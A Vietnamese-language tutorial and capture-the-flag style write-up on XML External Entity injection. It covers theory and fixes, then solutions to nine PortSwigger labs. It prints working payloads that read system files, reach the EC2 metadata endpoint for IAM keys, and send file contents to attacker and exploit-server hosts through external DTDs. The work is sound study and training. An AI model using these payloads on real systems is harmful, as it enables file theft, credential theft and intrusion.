@iamproz2911
Bài viết gồm 2 phần là:
+Lý thuyết
+Khai thác các bài Lab của Postswiger về lỗ hổng này.**
### **1. Lý thuyết**
**Lỗ Hổng XML External Entity (XXE) Injection**
**Nguyên Nhân**
XXE Injection xảy ra khi một ứng dụng xử lý XML mà không kiểm soát tốt các thực thể bên ngoài. Khi XML được phân tích, ứng dụng có thể vô tình tải nội dung từ các nguồn không đáng tin cậy hoặc cho phép kẻ tấn công truy cập vào các tệp hệ thống nhạy cảm.
Tác Hại
Rò rỉ dữ liệu: Kẻ tấn công có thể truy cập thông tin nhạy cảm trên máy chủ.
Tấn công DoS: Có thể làm cho ứng dụng không khả dụng bằng cách tải một tệp lớn hoặc vô hạn.
Tấn công vào hệ thống: Có thể thực thi mã độc hoặc gây ra các lỗ hổng khác thông qua truy cập vào hệ thống.
**Lý Thuyết**
XXE xảy ra khi một ứng dụng cho phép xử lý các thực thể XML bên ngoài mà không kiểm soát. Ví dụ:
xml
```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```
Trong ví dụ trên, ứng dụng sẽ cố gắng tải tệp /etc/passwd, dẫn đến rò rỉ thông tin nhạy cảm.
**Cách Khắc Phục**
Tắt xử lý thực thể bên ngoài: Cấu hình parser XML để không cho phép các thực thể bên ngoài.
Sử dụng các thư viện an toàn: Chọn các thư viện xử lý XML đã được kiểm tra về bảo mật.
Kiểm tra đầu vào: Xác thực và làm sạch đầu vào XML trước khi xử lý.
Giới hạn quyền truy cập: Thiết lập quyền cho các tài nguyên mà ứng dụng có thể truy cập.
**Các Ngôn Ngữ Bị Dính Lỗi**
Java: Disable external entity processing in DocumentBuilderFactory: factory.setFeature(“http://xml.org/sax/features/external-general-entities”, false);
PHP: Disable entity loading with libxml_disable_entity_loader: libxml_disable_entity_loader(true);
Python: Các thư viện như xml.etree.ElementTree có thể bị ảnh hưởng nếu không cấu hình đúng.
Ruby: Thư viện REXML cũng có thể gặp vấn đề nếu không được xử lý cẩn thận.
.NET: Set XmlReaderSettings to prohibit DTD processing: settings.ProhibitDtd = true;
....
**Các loại XEE & Payload Ex**
External Entity Injection:
`<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
Parameter Entity Injection:
`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>`
Blind XXE:
`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com">]>`
DTD Manipulation:
`<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">`
Out-of-Band (OOB) XXE:(Burpsuite Collaborator)
`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/dtd.dtd">]>`
Entity Expansion:(DoS, DDoS)
`<!DOCTYPE foo [<!ENTITY x "&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;">]>`
**Collab with Other Vulnerable**
XXE via File Upload:
`<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>`
XPath Injection:
`</root><!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe; ]>`
XXE in SOAP Web Services:
`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
**Kết Luận**
XXE Injection là một lỗ hổng nghiêm trọng(Nằm trong top10 OWASP) có thể dẫn đến rò rỉ dữ liệu và tấn công hệ thống. Việc nhận thức và thực hiện các biện pháp bảo mật là rất quan trọng để bảo vệ ứng dụng khỏi lỗ hổng này.
### **2. Lab XML external entity (XXE) injection in Postswigger**
#### **Lab1**: Exploiting XXE using external entities to retrieve files
##### Mô tả:
This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.
##### Exploit:
B1: Truy cập trang website kiểm tra request bằng Burpsuite

Website có chức năng checkStock để kiểm tra hàng tồn kho.

Kiểm tra trong Request nhận thấy website sử dụng xml gửi thông tin về trạng thái hàng tồn kho cho sản phẩm

B2: Thử payload nhận biết lỗi XEE

Gửi `<`, máy chủ đã nhận diện nó và chuyển đổi thành ký tự < trước khi xử lý.(Việc máy chủ cho phép sử dụng mã hóa như < để tạo ra ký tự < cho thấy nó có khả năng xử lý các thực thể bên ngoài.)
=> Server không có cơ chế validate phần XML.
Lỗ hổng XXE
B3: Thay đổi payload và hoàn thành lab
Yêu cầu của đề bài là đọc file /etc/passwd
Ta sẽ định nghĩa kiểu tài liệu XML, cho phép khai báo các thực thể bên ngoài.
```
<!DOCTYPE foo [
<!ENTITY abc123 SYSTEM "file:///etc/passwd">
]>
```
Đây là một thực thể bên ngoài được định nghĩa với tên abc123, trỏ tới một tệp hệ thống (trong trường hợp này là /etc/passwd), cho phép truy cập vào nội dung của tệp đó.SYSTEM cho phép truy cập vào tệp hệ thống

Phần &abc123; tham chiếu đến thực thể bên ngoài được định nghĩa trước đó là abc123
Nội dung tệp hệ thống đã được trỏ tới và đọc được tệp.

#### **Lab2**: Exploiting XXE to perform SSRF attacks
##### Mô tả:
This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.
##### Exploit:
B1: Truy cập trang website kiểm tra request bằng Burpsuite

Truy cập chức năng có khả năng gây ra lỗi là checkStock.


Thử với payload `<` và website trả về < cho thấy website bị XXE.(Việc máy chủ cho phép sử dụng mã hóa như < để tạo ra ký tự < cho thấy nó có khả năng xử lý các thực thể bên ngoài.)
B2: Thay đổi payload để khai thác
Website yêu cầu truy cập tới đường dẫn file secret-key của EC2 metadata
```
<!DOCTYPE foo [
<!ENTITY abc123 SYSTEM "http://169.254.169.254/">
]>
```

website trả về thiếu đường dẫn latest
Tiếp tục thêm latest vào payload và gửi request

Website lại tiếp tục trả về thông tin thiếu meta-data
Tiếp tục thêm và gửi payload cho tới khi hoàn thành đường dẫn.
B3: Hoàn thành payload và lấy secretkey
`"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/">`
Gửi payload cuối cùng và kết quả cho thấy tất cả thông tin và nội dung của admin

Lấy scretkey và hoàn thành lab

#### **Lab3**: Blind XXE with out-of-band interaction
##### Mô tả:
This lab has a "Check stock" feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
##### Exploit:
B1: Truy cập trang website kiểm tra request bằng Burpsuite

Kiểm tra chức năng checkstock
Bây giờ gửi payload `<` thì website không trả về thông tin gì cho thấy bị lỗi XXE

B2: Sử dụng OutOfBand
Vì website ở dạng blind XXE nên ta sẽ dùng kĩ thuật OOB
Dùng burpcollab của burpsuite để tạo ra domain, gửi thông qua payload XXE và sau đó PollNow
```
<!DOCTYPE foo [
<!ENTITY abc123 SYSTEM "http://00yg77z3iehm5zsyutklp7oxloref3.oastify.com">
]>
```

Kết quả cho thấy website có tương tác với thực thể truyền vào thông qua domain tạo bằng BurpCollab
Hoàn thành lab

#### **Lab4**: Blind XXE with out-of-band interaction via XML parameter entities
##### Mô tả:
This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.
To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
##### Exploit:
B1: Truy cập trang website kiểm tra request bằng Burpsuite

Kiểm tra chức năng checkstock

Chèn payload quen thuộc và không cho thấy có lỗi XXE
B2: Sử dụng OutOfBand
Tương tự với lab3 web blindXXE cho nên cần sử dụng domain ngoài
```
<!DOCTYPE foo [
<!ENTITY abc123 SYSTEM "http://00yg77z3iehm5zsyutklp7oxloref3.oastify.com">
]>
```

Như vậy web đã sử dụng cơ chế chặn các requests có chứa các External Entities.
B3: Thay đổi payload để bypass
Đọc tài liệu về lỗ hổng này, nhận thấy:
Sử dụng kí tự % thay &. Đồng thời những parameter entity chỉ được sử dụng luôn trong DTD mà nó được định nghĩa.
```
<!DOCTYPE foo [<!ENTITY % abc123 SYSTEM "http://wgg18n0npba7ofc2b03liciwfnld92.oastify.com"> %abc123; ]>
```

Web thông báo lỗi cú pháp nhưng điều đó không quan trọng vì domain đã nhận được và đã hiện request trong phần pollnow

Hoàn thành lab

#### **Lab5**: Exploiting blind XXE to exfiltrate data using a malicious external DTD
##### Mô tả:
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, exfiltrate the contents of the /etc/hostname file.
##### Exploit:
B1: Truy cập trang website kiểm tra request bằng Burpsuite


Lỗ hổng XXE nằm ở chức năng StockCheck tuy nhiên khi gửi payload thì nó không hiển thị ra kết quả

Đây là blindXXE, lab có đề xuất sử dụng ServerExploit của web để tạo file DTD
B2: Tạo Attacker host 1 file DTD bằng server exploit của Portswigger
Điền payload sau vào phần body
```
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % abc123 "<!ENTITY % attack SYSTEM 'https://exploit-0ace00fd03aa63d682436926015100ba.exploit-server.net/flag?name=%file;'>">
%abc123;
%attack;
```

Khai báo một thực thể khác (cũng là thực thể bên ngoài) có tên %abc123.
Nội dung của thực thể này là một khai báo thực thể mới có tên %attack, sẽ gửi yêu cầu HTTP đến một URL bên ngoài, sử dụng giá trị của %file (tức là nội dung của /etc/hostname) như một tham số trong URL.
**%exp;:**
Khi thực thể %exp được gọi, nó định nghĩa thực thể %attack.
**%attack;:**
Khi thực thể %attack được gọi, nó sẽ thực hiện yêu cầu HTTP đến URL đã định nghĩa, kèm theo tên máy chủ lấy từ tệp /etc/hostname.
Gửi payload truy cập vào đường dẫn server exploit
`https://exploit-0ace00fd03aa63d682436926015100ba.exploit-server.net/exploit`
```
<!DOCTYPE abc123 [ <!ENTITY % xxe SYSTEM "https://exploit-0ace00fd03aa63d682436926015100ba.exploit-server.net/exploit"> %xxe; ]>
```
Hoàn thiện payload và gửi request đi

B3: Truy cập để xem log của server exploit
ViewLog Server Exploit

Nhận thấy ở request Get /flag?name= xxxxx
Lấy kết quả và submit để hoàn thành bài lab


#### **Lab6**: Exploiting blind XXE to retrieve data via error messages
##### Mô tả:
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
##### Exploit:
Tương tự lab 5, dạng blindXXE
B1: Truy cập trang website kiểm tra request bằng Burpsuite


Khai thác ở chức năng checkstock
Mục tiêu của lab là đọc nội dung file /etc/passwd.
B2: Tạo Attacker host 1 file DTD bằng server exploit của Portswigger
Thêm payload sau vào phần body của response
```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % abc123 "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%abc123;
%exfil;
```

Đọc file thông qua lỗi, %exfil
chứa nội dung một file không tồn tại, chính là nội dung file /invalid/%file; thông qua %abc123;
Nếu server truy cập vào đường dẫn DTD, server không có file `file:///invalid/%file;` và trả về lỗi chứa nội dung chính là nội dung của /etc/passwd.
B3: Tạo parameter external entity
Thêm payload sau vào phần body của request checkstock và server truy cập tới đường dẫn
`https://exploit-0a0400ba03363d438266a03901140042.exploit-server.net/exploit`
```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "( https://exploit-0a0400ba03363d438266a03901140042.exploit-server.net/exploit)"> %xxe;]>
```
B4: Gửi request và hoàn thành lab
Kết quả server trả lỗi(vì không tìm thấy địa chỉ file invalid) kèm theo nội dung file /etc/passwd.


#### **Lab7**: Exploiting XInclude to retrieve files
##### Mô tả:
This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed.
Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack.
To solve the lab, inject an XInclude statement to retrieve the contents of the /etc/passwd file.
By default, XInclude will try to parse the included document as XML. Since /etc/passwd isn't valid XML, you will need to add an extra attribute to the XInclude directive to change this behavior.
##### Exploit:
B1: Truy cập trang website kiểm tra request bằng Burpsuite


Chức năng checkstock bây giờ không còn sử dụng XML nữa.
Bài lab đề xuất sử dụng XInclude
> XInclude là một tính năng trong XML cho phép nhúng nội dung từ các tài liệu XML khác vào một tài liệu XML hiện tại.
>
B2: Tạo payload XInclude
Sử dụng payload sau
```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```
xmlns:xi="http://www.w3.org/2001/XInclude": Đây là khai báo không gian tên cho XInclude, cho phép sử dụng các phần tử thuộc XInclude trong tài liệu.
<xi:include>: Đây là phần tử XInclude được sử dụng để bao gồm nội dung từ một tài liệu khác.
parse="text": Thuộc tính này chỉ định cách thức xử lý nội dung được bao gồm. Khi parse được thiết lập là text, nội dung sẽ được xử lý như văn bản thuần túy.
href="file:///etc/passwd": Đường đẫn tới file cần đọc.
B3: Gửi request và hoàn thành bài lab
Chèn payload vào productID của request POST stock
Nếu máy chủ không kiểm soát đúng và cho phép xử lý XInclude, payload này có thể dẫn đến việc máy chủ cố gắng truy cập tệp /etc/passwd.


#### **Lab8**: Exploiting XXE via image file upload
##### Mô tả:
This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
To solve the lab, upload an image that displays the contents of the /etc/hostname file after processing. Then use the "Submit solution" button to submit the value of the server hostname.
The SVG image format uses XML.
##### Exploit:
B1: Truy cập trang website kiểm tra request bằng Burpsuite

Ở đây có chức năng up hình ảnh, có thể test chức năng này được.

Chức năng cho phép up các file như png jpg và svg

Đọc qua format của [Svg](https://www.w3schools.com/graphics/svg_intro.asp) thì ta thấy bên trong có chứa nội dung XML vì vậy có thể thay đổi nội dung bên trong thành payload XXE
B2: Tạo payload
Tạo tệp svg có chứa nội dung payload của ta trong đó
```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY abc123 SYSTEM "file:///etc/hostname" > ]>
<svg width="160px" height="160px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&abc123;</text>
</svg>
```
Payload này sẽ gen ra ảnh có kích thức 160x180
Giả dạng SVG: Cấu trúc của payload phù hợp với tiêu chuẩn SVG, cho phép nó được hiển thị như một hình ảnh vector.
XXE: Sử dụng thực thể bên ngoài để truy cập thông tin nhạy cảm từ hệ thống mà không bị phát hiện.
B3: Gửi payload và hoàn thành lab

Thay đổi nội dung của request trước đó

Đổi tên file, content-type, và nội dung bên trong file.
Sau đó gửi đi
=>Update thành công

Truy cập lại website và mở file ảnh vừa tải lên(Nhớ reset trang lại)

Một file ảnh kích cỡ 160x180 cùng với hostname đã hiển thị
Submit và hoàn thành lab

#### **Lab9(Expert)**: Exploiting XXE to retrieve data by repurposing a local DTD
##### Mô tả:
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, trigger an error message containing the contents of the /etc/passwd file.
You'll need to reference an existing DTD file on the server and redefine an entity from it.
##### Exploit:
Tiếp tục là dạng BlindXXE
B1: Truy cập trang website kiểm tra request bằng Burpsuite

Tiếp tục focus vào chức năng checkstock

Hint của lab là
```
Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.
```
Hệ thống có 1 DTD tại /usr/share/yelp/dtd/docbookx.dtd có chứa 1 entity tên ISOamso
B2: Tạo payload
Nhiệm vụ của lab là sử dụng local DTD có sẵn của hệ thống sau đó định nghĩa một entity có chứa trong DTD đó.
Payload có dạng
```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
```
`<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">:`
Định nghĩa một thực thể bên ngoài %local_dtd để tải DTD từ tệp docbookx.dtd.
`<!ENTITY % ISOamso '...' >:`
Đây là một thực thể bên ngoài lớn có tên %ISOamso chứa nhiều thực thể khác.
Nội dung của %ISOamso:
`<!ENTITY % file SYSTEM "file:///etc/passwd">`
Định nghĩa thực thể %file để đọc nội dung từ tệp /etc/passwd.
`<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///inavlid/%file;'>">`
Định nghĩa thực thể %eval, tạo ra một thực thể %error sẽ cố gắng truy cập tệp không tồn tại (/inavlid/%file), nơi %file đại diện cho nội dung của tệp /etc/passwd.
`%eval; và %error;`
Gọi thực thể %eval, sau đó gọi thực thể %error, dẫn đến việc thực hiện yêu cầu đến tệp /etc/passwd.
Và cuối cùng
%local_dtd;:
Gọi thực thể %local_dtd, tải DTD từ tệp đã định nghĩa.
Thêm payload vào phần xml của stockcheck

B3: Gửi payload và hoàn thành bài lab
Gửi request đi, server trả về lỗi FileNotFound và có chứa nội dung file /etc/passwd cần lấy


**Tài liệu**
[Payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md#exploiting-xxe-to-retrieve-files)
[Trick](https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity)
[Server Exploit DTD](https://exploit-0a76004a03ef94c4879703e801a800e0.exploit-server.net/)
[Tham Khảo](https://www.indusface.com/blog/how-to-identify-and-mitigate-xxe-vulnerability/)
[OWASP CHEATSHEET](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)
> Bài viết có mục đích nghiên cứu lỗ hổng và học tập ôn thi chứng chỉ của Postswiger!